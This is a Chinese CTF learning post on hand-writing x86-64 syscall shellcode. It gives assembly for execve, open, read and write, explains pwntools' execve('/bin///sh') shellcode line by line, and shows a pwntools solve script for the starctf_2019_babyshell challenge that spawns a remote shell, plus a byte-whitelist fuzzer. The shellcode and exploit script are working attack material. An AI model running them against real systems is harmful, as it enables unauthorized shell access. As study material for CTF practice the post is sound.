PWN:手动编写 x64 基于syscall 的 shell code(TODO)

syscall

在AMD64架构(也称为x86-64或x64)下,使用 syscall 指令来进行系统调用的约定如下:

  1. 系统调用号:存储在 RAX 寄存器中。
  2. 参数传递
    • 第一个参数:RDI
    • 第二个参数:RSI
    • 第三个参数:RDX
    • 第四个参数:R10
    • 第五个参数:R8
    • 第六个参数:R9
  3. 返回值:系统调用的返回值存储在 RAX 寄存器中。
  4. 调用约定
    • 调用 syscall 指令之前,需要将系统调用号和参数传递到相应的寄存器。
    • 调用 syscall 指令后,返回值会存储在 RAX 寄存器中。
    • RCXR11 寄存器的值会被 syscall 指令破坏,因此调用者需要保存这两个寄存器的值(如果需要)。

execve

execve 的原型如下:

int execve(const char *filename, char *const argv[], char *const envp[]);
  • filename:要执行的文件名(路径)。
  • argv:一个字符串数组,包含传递给程序的命令行参数。数组的最后一个元素必须是 NULL
  • envp:一个字符串数组,包含环境变量。数组的最后一个元素也必须是 NULL
section .data
    filename db '/bin/ls', 0         ; 要执行的程序
    argv db '/bin/ls', 0             ; argv[0]
         db '-l', 0                   ; argv[1]
         db 0                         ; argv数组结束
    envp db 0                        ; 环境变量数组结束

section .text
    global _start

_start:
    ; 设置参数
    mov rax, 59                  ; syscall: execve (59)
    mov rdi, filename            ; filename
    mov rsi, argv                ; argv
    mov rdx, envp                ; envp
    syscall                       ; 调用内核

    ; 如果 execve 失败
    mov rax, 60                  ; syscall: exit (60)
    xor rdi, rdi                 ; exit code 0
    syscall                       ; 调用内核

open

open 系统调用用于打开文件并返回一个文件描述符。其原型如下:

int open(const char *pathname, int flags, mode_t mode);

主要参数

  • pathname:要打开的文件的路径。
  • flags:打开文件的标志,例如 O_RDONLY, O_WRONLY, O_RDWR 等。
  • mode:文件的访问权限(在创建文件时使用),通常与 flags 一起传递。对于只读或只写操作,可以传递 0

在 x86-64 Linux 中,open 的系统调用号是 2

下面是一个用汇编语言编写的示例,展示如何在 x86-64 Linux 中使用 syscall 调用 open

section .data
    filename db '/tmp/testfile.txt', 0 ; 要打开的文件名
    flags db 0x0                         ; O_RDONLY
    mode db 0                             ; 只读模式,不需要

section .text
    global _start

_start:
    ; 设置参数
    mov rax, 2                ; syscall: open (2)
    mov rdi, filename         ; pathname
    mov rsi, 0                ; flags: O_RDONLY
    mov rdx, 0                ; mode: 不使用
    syscall                   ; 调用内核

    ; 返回值在 rax 中,检查是否成功
    test rax, rax             ; 检查文件描述符是否有效
    js open_failed            ; 如果 rax < 0,跳转到失败处理

    ; 这里可以继续使用打开的文件描述符
    ; 例如,使用它进行读取等操作

    ; 关闭文件描述符
    mov rdi, rax              ; 将文件描述符移动到 rdi
    mov rax, 3                ; syscall: close (3)
    syscall                   ; 调用内核

    ; 正常退出
    mov rax, 60               ; syscall: exit (60)
    xor rdi, rdi              ; exit code 0
    syscall                   ; 调用内核

open_failed:
    ; 处理打开文件失败的情况
    mov rax, 60               ; syscall: exit (60)
    mov rdi, 1                ; exit code 1
    syscall                   ; 调用内核

read

在 x86-64 架构下,使用 syscall 指令进行 read 系统调用的步骤与其他系统调用类似。read 系统调用用于从文件描述符中读取数据。其原型如下:

ssize_t read(int fd, void *buf, size_t count);

主要参数

  • fd:文件描述符,从中读取数据。
  • buf:指向用于存储读取数据的缓冲区的指针。
  • count:要读取的字节数。

在 x86-64 Linux 中,read 的系统调用号是 0

section .bss
    buffer resb 128            ; 为输入缓冲区分配128字节

section .text
    global _start

_start:
    ; 从标准输入读取数据
    mov rax, 0                 ; syscall: read (0)
    mov rdi, 0                 ; fd: 0 (stdin)
    mov rsi, buffer            ; buf: 指向输入缓冲区
    mov rdx, 128               ; count: 要读取的字节数
    syscall                    ; 调用内核

    ; 将读取的数据写入到标准输出
    mov rax, 1                 ; syscall: write (1)
    mov rdi, 1                 ; fd: 1 (stdout)
    mov rsi, buffer            ; buf: 指向输入缓冲区
    mov rdx, rax               ; count: 使用上一个 sysread 返回的字节数
    syscall                    ; 调用内核

    ; 正常退出
    mov rax, 60                ; syscall: exit (60)
    xor rdi, rdi               ; exit code 0
    syscall                    ; 调用内核

write

在 x86-64 架构下,使用 syscall 指令进行 write 系统调用的步骤与其他系统调用类似。write 系统调用用于向文件描述符中写入数据。其原型如下:

ssize_t write(int fd, const void *buf, size_t count);

主要参数

  • fd:文件描述符,指定要写入的文件。
  • buf:指向要写入的数据的指针。
  • count:要写入的字节数。

在 x86-64 Linux 中,write 的系统调用号是 1

section .data
    message db 'Hello, world!', 0xA  ; 要写入的消息,0xA 是换行符
    message_len equ $ - message        ; 计算消息的长度

section .text
    global _start

_start:
    ; 设置参数
    mov rax, 1                  ; syscall: write (1)
    mov rdi, 1                  ; fd: 1 (stdout)
    mov rsi, message            ; buf: 指向要写入的消息
    mov rdx, message_len        ; count: 消息的长度
    syscall                     ; 调用内核

    ; 正常退出
    mov rax, 60                 ; syscall: exit (60)
    xor rdi, rdi                ; exit code 0
    syscall                     ; 调用内核

pwntools 提供的标准 execve shellcod

    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

1. 准备路径字符串 /bin///sh

/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
  • mov rax, 0x732f2f2f6e69622f:将 /bin///sh 的字节表示 0x732f2f2f6e69622f 加载到 rax 寄存器中。这个 64 位值包含了字符串 /bin///sh。由于在路径中有多个连续的 /,这并不影响路径的正确性,Linux 会将多个 / 视为一个。
  • push rax:将 rax 中的字符串压入栈中。
  • mov rdi, rsp:将栈顶的地址(即 /bin///sh 字符串的地址)存入 rdi 寄存器。rdi 寄存器是 execve 系统调用的第一个参数,它指向要执行的文件路径。

2. 准备参数数组 ['sh']

/* push argument array ['sh\x00'] */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
  • push 0x1010101 ^ 0x6873:这行代码是为了构建字符串 'sh\x00'0x6873'sh' 的 ASCII 码(在小端序下是 0x7368)。通过异或运算 0x1010101 ^ 0x6873 生成一个特定的字节值。
  • xor dword ptr [rsp], 0x1010101:接下来,它通过异或运算将 'sh\x00' 写入栈中,确保栈上的数据最终形成一个 null 终止的字符串 'sh\x00'

3. 添加空指针作为参数的结束标志:

xor esi, esi /* 0 */
push rsi /* null terminate */
  • xor esi, esi:将 esi 寄存器清零,esi 现在为 0
  • push rsi:将 0(即 NULL)推入栈中,表示参数数组的结束(argv 数组的最后一个元素是 NULL,表示没有更多的参数)。

4. 设置 argv 数组的地址:

push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
  • push 8:将 8 压入栈中,它是参数数组的长度(即 'sh\x00' 字符串占 8 字节)。
  • pop rsi:将 8 从栈中弹出并存入 rsi 寄存器。
  • add rsi, rsp:将 rsi 设置为栈顶加上偏移量 8,实际上是指向参数数组的地址(即 'sh\x00' 字符串的地址)。
  • push rsi:将参数数组的地址压入栈中。
  • mov rsi, rsp:将栈顶的地址(即 argv 数组的地址)存入 rsi 寄存器,rsi 作为 execve 的第二个参数。

5. 清空 envp(环境变量):

xor edx, edx /* 0 */
  • xor edx, edx:将 edx 清零,表示 envpNULL,即不传递任何环境变量给新的进程。

6. 调用 execve

/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
  • push SYS_execve:将 execve 系统调用的编号(0x3b,或 59)压入栈中。
  • pop rax:将系统调用号(0x3b)弹出到 rax 寄存器,raxsyscall 指令的调用号寄存器。
  • syscall:触发系统调用。此时,rax 寄存器保存的是 execve 系统调用的编号,rdi 存储的是要执行的路径 /bin///shrsi 存储的是参数数组 ['sh']rdx 存储的是环境变量(此处为 NULL)。

shellcode滑板

这些特殊的机器码能在特定情况发挥作用

00 40 00                 add    BYTE PTR [rax+0x0],  al
00 41 00                 add    BYTE PTR [rcx+0x0],  al
00 42 00                 add    BYTE PTR [rdx+0x0],  al
00 43 00                 add    BYTE PTR [rbx+0x0],  al
00 45 00                 add    BYTE PTR [rbp+0x0],  al
00 46 00                 add    BYTE PTR [rsi+0x0],  al
00 47 00                 add    BYTE PTR [rdi+0x0],  al

考虑以下代码starctf_2019_babyshell

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _BYTE *buf; // [rsp+0h] [rbp-10h]

  sub_4007F8(a1, a2, a3);
  buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
  puts("give me shellcode, plz:");
  read(0, buf, 0x200uLL);
  if ( !(unsigned int)sub_400786(buf) )
  {
    printf("wrong shellcode!");
    exit(0);
  }
  ((void (*)(void))buf)();
  return 0LL;
}
__int64 __fastcall sub_400786(_BYTE *a1)
{
  char *i; // [rsp+18h] [rbp-10h]

  while ( *a1 )
  {
    for ( i = &byte_400978; *i && *i != *a1; ++i )
      ;
    if ( !*i )
      return 0LL;
    ++a1;
  }
  return 1LL;
}
from pwn import *

io = remote('node5.buuoj.cn', 29104)

context(arch='amd64', os='linux', log_level='debug')

shellcode = asm(shellcraft.sh())

shellcode = b'\x00\x5a\x00' + shellcode

io.sendline(shellcode)

io.interactive()

仅白名单/存在黑名单编写 shell code

提取byte_400978获得允许列表

[0x5A, 0x5A, 0x4A, 0x20, 0x6C, 0x6F, 0x76, 0x65, 0x73, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x5F, 0x63, 0x6F, 0x64, 0x65, 0x2C, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x67, 0x69, 0x66, 0x74, 0x3A, 0x0F, 0x05, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x69, 0x74, 0x21, 0x0A]

编写fuzz查看被禁止的语句

from pwn import *  
  
# 设置架构为 amd64context.arch = 'amd64'  
  
# 定义允许的字节列表  
allow_list = [  
    0x5A, 0x5A, 0x4A, 0x20, 0x6C, 0x6F, 0x76, 0x65, 0x73, 0x20,  
    0x73, 0x68, 0x65, 0x6C, 0x6C, 0x5F, 0x63, 0x6F, 0x64, 0x65,  
    0x2C, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20,  
    0x69, 0x73, 0x20, 0x61, 0x20, 0x67, 0x69, 0x66, 0x74, 0x3A,  
    0x0F, 0x05, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x69,  
    0x74, 0x21, 0x0A  
]  
  
# 将 allow_list 中的每个字节转换为字节对象  
for i in range(len(allow_list)):  
    allow_list[i] = allow_list[i].to_bytes(1, byteorder='little')  
  
# 打印 allow_list 内容  
print(allow_list)  
  
# 定义原始 shellcode 字符串  
shellcode = """  
push 0x68  
mov rax, 0x732f2f2f6e69622f  
push rax  
mov rdi, rsp  
push 0x1010101 ^ 0x6873  
xor dword ptr [rsp], 0x1010101  
xor esi, esi  
push rsi  
push 8  
pop rsi  
add rsi, rsp  
push rsi  
mov rsi, rsp  
xor edx, edx  
push SYS_execve  
pop rax  
syscall  
"""  
  
# 删除注释并拆为多行  
shellcode = shellcode.splitlines()  
  
# 检查所有字节码是否在允许名单中, 如果不在则输出  
for i in range(1, len(shellcode)):  # 从第1行开始,因为第0行是空的  
    # 将 shellcode 中的每行汇编代码转为机器码(字节码)  
    cmp = asm(shellcode[i])  
  
    # 对每个字节码进行检查  
    for f in cmp:  
        all_pass = True  
        found = False  # 标记是否找到了符合要求的字节  
        for j in allow_list:  
            if f == j:  # 如果字节在允许列表中  
                found = True  
                break        if not found:  # 如果字节不在允许列表中,输出该字节  
            all_pass = False  
            print(f"\033[91m{shellcode[i]}语句中的 字节 {hex(f)} 不在允许名单中.\033[0m")  
  
    if all_pass is True:  
        print(f'\033[92m{shellcode[i]} 语句通过\033[0m')

成功得到一片红(思路错了我以为这是手写shellcode,先这部分先搁置,等遇到题再写,这道题是遇0停止)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/919153.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

人工智能之机器学习5-回归算法1【培训机构学习笔记】

培训内容&#xff1a; 模型评估 培训班上课的PPT里很多错误&#xff0c;即使讲了很多年也从没改正过来。 而且很多字母没有给出具体的解释&#xff0c;比如RSS和TSS&#xff0c;对初学者非常不友善。 个人学习&#xff1a; 分类和回归的区别 回归和分类是机器学习和统计学…

实验十三 生态安全评价

1 背景及目的 生态安全是生态系统完整性和健康性的整体反映&#xff0c;完整健康的生态系统具有调节气候净化污染、涵养水源、保持水土、防风固沙、减轻灾害、保护生物多样性等功能。维护生态安全对于人类生产、生活、健康及可持续发展至关重要。随着城市化进程的不断推进&…

nvm安装node遇到的若干问题(vscode找不到npm文件、环境变量配置混乱、npm安装包到D盘)

问题一&#xff1a;安装完nvm后需要做哪些环境变量的配置&#xff1f; 1.打开nvm文件夹下的setting文件&#xff0c;设置nvm路径和安装node路径&#xff0c;并添加镜像。 root: D:\software\nvm-node\nvm path: D:\software\nvm-node\nodejs node_mirror: https://npmmirror.c…

数据结构-树状数组专题(1)

一、前言 树状数组可以解决部分区间修改和区间查询的问题&#xff0c;相比于线段树&#xff0c;代码更加简单易懂 二、我的模板 搬运jiangly鸽鸽的模板&#xff0c;特别注意这个模板中所有涉及区间的都是左闭右开区间&#xff0c;且vector的有效下标都从0开始 template <…

Linux网络——套接字编程

1. 网络通信基本脉络 基本脉络图如上&#xff0c;其中数据在不同层的叫法不一样&#xff0c;比如在传输层时称为数据段&#xff0c;而在网络层时称为数据报。我们可以在 Linux 中使用 ifconfig 查看网络的配置&#xff0c;如图 其中&#xff0c;inet 表示的是 IPv4&#xff0c;…

‘视’不可挡:OAK相机助力无人机智控飞行!

南京邮电大学通达学院的刘同学用我们的oak-d-lite实现精确打击无人机的避障和目标识别定位功能&#xff0c;取得了比赛冠军。我们盼望着更多的朋友们能够加入到我们OAK的队伍中来&#xff0c;参与到各式各样的比赛中去。我们相信&#xff0c;有了我们相机的助力&#xff0c;大家…

复旦微电子FM33LC046U在keil工程中无法使用j-link下载问题解决

在Keil环境下使用JLINK工具下载程序&#xff0c;发现J-link V7.89a无法识别FM33LC046U&#xff0c;提示如下&#xff1a; 选择Cortex-M0 设置为SW模式&#xff0c;即可识别到芯片 经过如上步骤&#xff0c;就可以使用Jlink下载和仿真程序

java中设计模式的使用(持续更新中)

概述 设计模式的目的&#xff1a;编写软件过程中&#xff0c;程序员面临着来自耦合性&#xff0c;内聚性以及可维护性&#xff0c;可扩展性&#xff0c;重用性&#xff0c;灵活性等多方面的挑战&#xff0c;设计模式是为了让程序&#xff08;软件&#xff09;&#xff0c;具有…

【计算机网络实验】之静态路由配置

【计算机网络实验】之静态路由配置 实验题目实验目的实验任务实验设备实验环境实验步骤路由器配置设置静态路由测试路由器之间的连通性配置主机PC的IP测试 实验题目 静态路由协议的配置 实验目的 熟悉路由器工作原理和机制&#xff1b;巩固静态路由理论&#xff1b;设计简单…

【PS】矢量绘图技巧

1、先使用钢笔工具结合ctrl和alt建将苹果大致扣出来。 任意选择一个颜色进行填充 新建一个图层&#xff0c;使用渐变工具为图层添加渐变颜色 选择剪切蒙版&#xff0c;将图层颜色填入苹果&#xff0c;得最终结果。 内容二、麦当劳 与内容一类似的&#xff0c;使用钢笔工具将M形…

【HCIP]——OSPF综合实验

题目 实验需求 根据上图可得&#xff0c;实验需求为&#xff1a; 1.R5作为ISP&#xff1a;其上只能配置IP地址&#xff1b;R4作为企业边界路由器&#xff0c;出口公网地址需要通过PPP协议获取&#xff0c;并进行CHAP认证。&#xff08;PS&#xff1a;因PPP协议尚未学习&#…

django启动项目报错解决办法

在启动此项目报错&#xff1a; 类似于&#xff1a; django.core.exceptions.ImproperlyConfigured: Requested setting EMOJI_IMG_TAG, but settings are not c启动方式选择django方式启动&#xff0c;以普通python方式启动会报错 2. 这句话提供了对遇到的错误的一个重要线索…

【GeekBand】C++设计模式笔记12_Singleton_单件模式

1. “对象性能” 模式 面向对象很好地解决了 “抽象” 的问题&#xff0c; 但是必不可免地要付出一定的代价。对于通常情况来讲&#xff0c;面向对象的成本大都可以忽略不计。但是某些情况&#xff0c;面向对象所带来的成本必须谨慎处理。典型模式 SingletonFlyweight 2. Si…

计算机网络 (1)互联网的组成

一、互联网的边缘部分 互联网的边缘部分由所有连接在互联网上的主机组成&#xff0c;这些主机又称为端系统&#xff08;end system&#xff09;。端系统可以是各种类型的计算机设备&#xff0c;如个人电脑、智能手机、网络摄像头等&#xff0c;也可以是大型计算机或服务器。端系…

电商行业客户服务的智能化:构建高效客户服务知识库

在电商行业&#xff0c;客户服务是提升用户体验和品牌忠诚度的关键。随着数字化转型的深入&#xff0c;构建一个高效的客户服务知识库变得尤为重要。本文将探讨电商行业如何构建客户服务知识库&#xff0c;并分析其在提升服务质量中的作用。 客户服务知识库的重要性 客户服务…

CentOS 9 无法启动急救方法

方法一&#xff1a;通过单用户安全模式启动 开机按上下方向键&#xff0c;选择需要启动的内核&#xff0c;按e键进入配置模式 修改配置 ro 改 rw 删除 rhgb quiet 末尾增加 init/bin/bash 按 Ctrlx 启动单用户模式 如果想重新启动&#xff0c;重启电脑 执行 exec /sbin/in…

数字后端零基础入门系列 | Innovus零基础LAB学习Day11(Function ECO流程)

###LAB 20 Engineering Change Orders (ECO) 这个章节的学习目标是学习数字IC后端实现innovus中的一种做function eco的flow。对于初学者&#xff0c;如果前面的lab还没掌握好的&#xff0c;可以直接跳过这节内容。有时间的同学&#xff0c;可以熟悉掌握下这个flow。 数字后端…

SAM-Med2D 训练完成后boxes_prompt没有生成mask的问题

之前对着这这篇文章去微调SAM_Med2D(windows环境),发现boxes_prompt空空如也。查找了好长时间问题SAM-Med2D 大模型学习笔记&#xff08;续&#xff09;&#xff1a;训练自己数据集_sam训练自己数据集-CSDN博客 今天在看label2image_test.json文件的时候发现了一些端倪: 官方…

java ssm 同仁堂药品管理系统 在线药品信息管理 医药管理源码jsp

一、项目简介 本项目是一套基于SSM的同仁堂药品管理系统&#xff0c;主要针对计算机相关专业的和需要项目实战练习的Java学习者。 包含&#xff1a;项目源码、数据库脚本、软件工具等。 项目都经过严格调试&#xff0c;确保可以运行&#xff01; 二、技术实现 ​后端技术&…

使用阿里云快速搭建 DataLight 平台

使用阿里云快速搭建 DataLight 平台 本篇文章由用户 “闫哥大数据” 分享&#xff0c;B 站账号&#xff1a;https://space.bilibili.com/357944741?spm_id_from333.999.0.0 注意&#xff1a;因每个人操作顺序可能略有区别&#xff0c;整个部署流程如果出现出入&#xff0c;以…